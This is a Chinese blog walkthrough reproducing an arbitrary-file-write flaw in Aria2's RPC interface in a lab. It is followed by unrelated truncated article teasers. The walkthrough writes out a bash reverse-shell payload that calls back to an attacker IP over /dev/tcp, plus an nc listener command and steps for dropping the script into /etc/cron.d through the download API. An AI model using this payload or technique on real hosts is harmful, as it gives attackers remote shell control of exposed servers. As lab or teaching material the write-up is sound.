Aria2 任意文件写入漏洞

目录

    • Aria2介绍
    • 漏洞描述
    • 漏洞复现

Aria2介绍

Aria2是一个在命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过–enable-rpc参数启动。Aria2的RPC服务器可以方便的添加、删除下载项目

我们可以使用 RPC 接口来操作 aria2 并将文件下载到任意目录,从而造成任意文件写入漏洞。

6800 是 Aria2 的 RPC 服务的默认端口。环境启动后,访问 和 服务会返回 404 页面

漏洞描述

RCE漏洞,可以让攻击通过控制文件下载链接,文件储存路径以及文件名,直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能

漏洞复现

1.测试环境,访问http://192.168.3.243:6800/ 是一片空白
在这里插入图片描述
2、使用burp抓包,发包。发现报404错误
在这里插入图片描述
3、首先因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/访问这个UI,点击这个小扳手(settings),添加你的靶场域名
在这里插入图片描述
4、配置Setting,按照下面的内容结合自身的ip地址填写, 其它的包括Base Dir不用填写保存后自动显现。
在这里插入图片描述
5.配置一个web服务器,kali已经集成了Apache,只要将其启动就可以开始使用了

启动命令:service apache2 start
停止命令: service apache2 stop

在这里插入图片描述
Shell文件内容:

#!/bin/bash/bin/bash -i >& /dev/tcp/192.168.3.242/4444 0>&1

将shell文件放在/var/www/html/目录下
在这里插入图片描述

6、上传shell文件
首先在kali中开启监听:

nc -nvv -lp 4444

在这里插入图片描述
7、点击添加新增并且设置下载任务,填写shell的url,及受害主机shell文件的存储路径
在这里插入图片描述
和我查到的所有资料一样 ,都不能自动获得监听
在这里插入图片描述

8、手动获取监听

在靶机中输入:

docker ps                                
//查看容器id
docker exec -it 容器Id /bin/bash             
//进入容器shell   例如:docker exec -it c9ff092ad911 /bin/bash
cd /etc/cron.d                                    
//进入到cron.d目录
ls 

在这里插入图片描述
从上面已经上传的shell可以看出,这个任意文件写入漏洞是存在的

9、手动给shell加权限,执行shell

chmod +777 shell
./shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51296.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

流媒体服务器一:使用成熟的流媒体SRS 搭建 RTMP流媒体服务器

1 安装和测试srs流媒体服务器 服务器:SRS(Simple RTMP Server,⽀持RTMP、HTTP-FLV,HLS) 推流端:ffmpeg OBS 拉流端:ffplay VLC srs播放器 1.1 安装srs流媒体服务器 官网 SRS (Simple Realtime Server) | SRS 码…

18746 逆序数

这个问题可以使用归并排序的思想来解决。在归并排序的过程中,我们可以统计逆序数的数量。当我们合并两个已经排序的数组时,如果左边的数组中的元素��于右边的数组中的元素,那么就存在逆序,逆序数的数量就是…

数据库之索引

目录 一、索引概述 1.索引的概念和特点 2.索引的分类 3.索引设计的原则 二、创建和查看索引 1.在创建表的时候创建索引 1.创建和查看普通索引 2.创建组合索引 3.创建唯一索引 4.创建全文索引 5.创建空间索引 2.在已有的表上创建索引 1.使用ALTER TABLE语句创建索引…

IEC104转MQTT网关支持MQTT对接Ignition、阿里云、华为云、亚马逊AWS、ThingsBoard、Zabbix平台助力远程管理

钡铼推出了一款专为电力系统设计的数据采集网关——IEC104转MQTT网关BE113,感兴趣的朋友接着往下看: 一、网关概述 IEC104转MQTT(Ignition)网关BE113是一款专为电力系统设计的数据采集网关,支持DL/T645和IEC104等协议的设备。上行支持MQTT协…

二、3 函数递归

自己间接或直接调用自己(可大大减少代码量) 1、举例 2、递归必须有停下来的条件 3、举例 普通求解数组长度 递归求解

16 敏捷开发实践(1)

敏捷方法:是一种从1990年代开始逐渐引起广泛关注的一些新型软件开发方法,是一种应对快速变化的需求的一种软件开发能力。 敏捷开发:是一种以人为核心、迭代、循序渐进的开发方法。 敏捷实践:精益软件开发(LSD&#x…

iexcel-excel 大文件读取和写入-02-Excel 引导类简介

excel 系列 Excel Export 踩坑注意点导出方案设计 基于 hutool 的 EXCEL 优化实现 iexcel-excel 大文件读取和写入,解决 excel OOM 问题-01-入门介绍 iexcel-excel 大文件读取和写入-02-Excel 引导类简介 iexcel-excel 大文件读取和写入-03-ExcelField 注解介绍…

Java进制,进制的转换

目录 进制 进制介绍 案例演示 进制的图示 进制的转化(基本功) 二进制转换成十进制 八进制转换成十进制 十六进制转换成十进制 十进制转换成二进制 十进制转换成八进制 十进制转换成十六进制 二进制转换成八进制 二进制转换成十六进制 …

Linux信号上

信号 概念 信号是由于进程产生,但是由内核调度传递给另一个进程: 产生信号 按键产生信号: Ctrc --> 2)SIGINT(终止/中断) Ctrz --> 20)SIGTSTOP(终端暂停) Ctr\ --> 3)SIGQUIT(退出) 系统调用产生: kill(2), raise, abort软件条件产生: 如定…

泛型如何定义和使用?

根据使用的地方分为3种,分别是泛型类,泛型方法和泛型接口。 (1)泛型类 泛型类的定义 在类名的后面加一对尖括号,括号中填写类型参数,参数可以有多个,多个参数之间使用逗号分隔。 下面是一个…

从与原始的Transformer architecture比较来理解GPT

从与原始的Transformer architecture比较来理解GPT flyfish 一、Transformer architecture 先说名词 不同的文献和资料中有不同的名字,其实是一样的意思 1 编码器-解码器多头注意力机制(Encoder-Decoder Multi-Head Attention Mechanism) …

ASP.NET Core中上传文件

1.创建一个文件上传的表单 在一个视图中&#xff08;比如Index.cshtml&#xff09;&#xff0c;添加一个表单来让用户选择文件并上传。 model IFormFile <form method"post" enctype"multipart/form-data"> <div class"form-group"…

爬虫-实战爬取虎扑ACG帖子

要求如下: 爬取虎扑步行街 ACG 版面的数据,要求使用多线程来并发爬取。范围是第一页的所有帖子,每个帖子包含标题、主题内容和第一页的所有回复内容。最后打印出爬到的所有帖子的标题。 网址是:ACG圈 - 虎扑社区。 针对上面的要求,我们进行分析: 首先是要使用多线程范…

韩顺平0基础学java——第39天

p820-841 jdbc和连接池 1.JDBC为访问不同的数据库提供了统一的接口&#xff0c;为使用者屏蔽了细节问题。 2.Java程序员使用JDBC&#xff0c;可以连接任何提供了JDBC驱动程序的数据库系统&#xff0c;从而完成对数据库的各种操作。 3.jdbc原理图 JDBC带来的好处 2.JDBC带来的…

结构体笔记

结构体 C语言中的数据类型&#xff1a; 基本数据类型&#xff1a;char/int/short/double/float/long 构造数据类型&#xff1a;数组&#xff0c;指针&#xff0c;结构体&#xff0c;共用体&#xff0c;枚举 概念&#xff1a; 结构体是用户自定义的一种数据类型&#xff0c…

flink 实现大数据实时数据采集

Apache Flink 是一个流处理框架&#xff0c;用于处理无界和有界数据流。在大数据实时数据采集领域&#xff0c;Flink 凭借其高吞吐量、低延迟和精确的状态管理特性&#xff0c;成为了实现实时数据处理的理想选择。下面将介绍如何使用 Flink 来实现大数据的实时数据采集和处理。…

《Milvus Cloud向量数据库指南》——ChatGLM:从GLM-130B到GLM-4

ChatGLM:从GLM-130B到GLM-4的跨越:智谱AI在通用人工智能领域的深度探索与实践 在人工智能的浩瀚星空中,智谱AI如同一颗璀璨的新星,以其独特的技术视角和坚定的创新步伐,在通用人工智能(AGI)的征途上留下了深刻的足迹。技术生态总监贾伟在近期的一次分享中,不仅为我们描…

20.rabbitmq插件实现延迟队列

问题 前面谈到基于死信的延迟队列&#xff0c;存在的问题&#xff1a;如果第一个消息延时时间很长&#xff0c;而第二个消息延时时间很短&#xff0c;第二个消息并不会优先得到执行。 下载插件 地址&#xff1a;https://github.com/rabbitmq/rabbitmq-delayed-message-excha…

49.TFT_LCD液晶屏驱动设计与验证(2)

&#xff08;1&#xff09;Visio视图&#xff1a; &#xff08;2&#xff09;控制模块Verilog代码&#xff1a; module tft_ctrl(input clk_33M ,input reset_n ,input [23:0] data_in ,output [9:0] hang…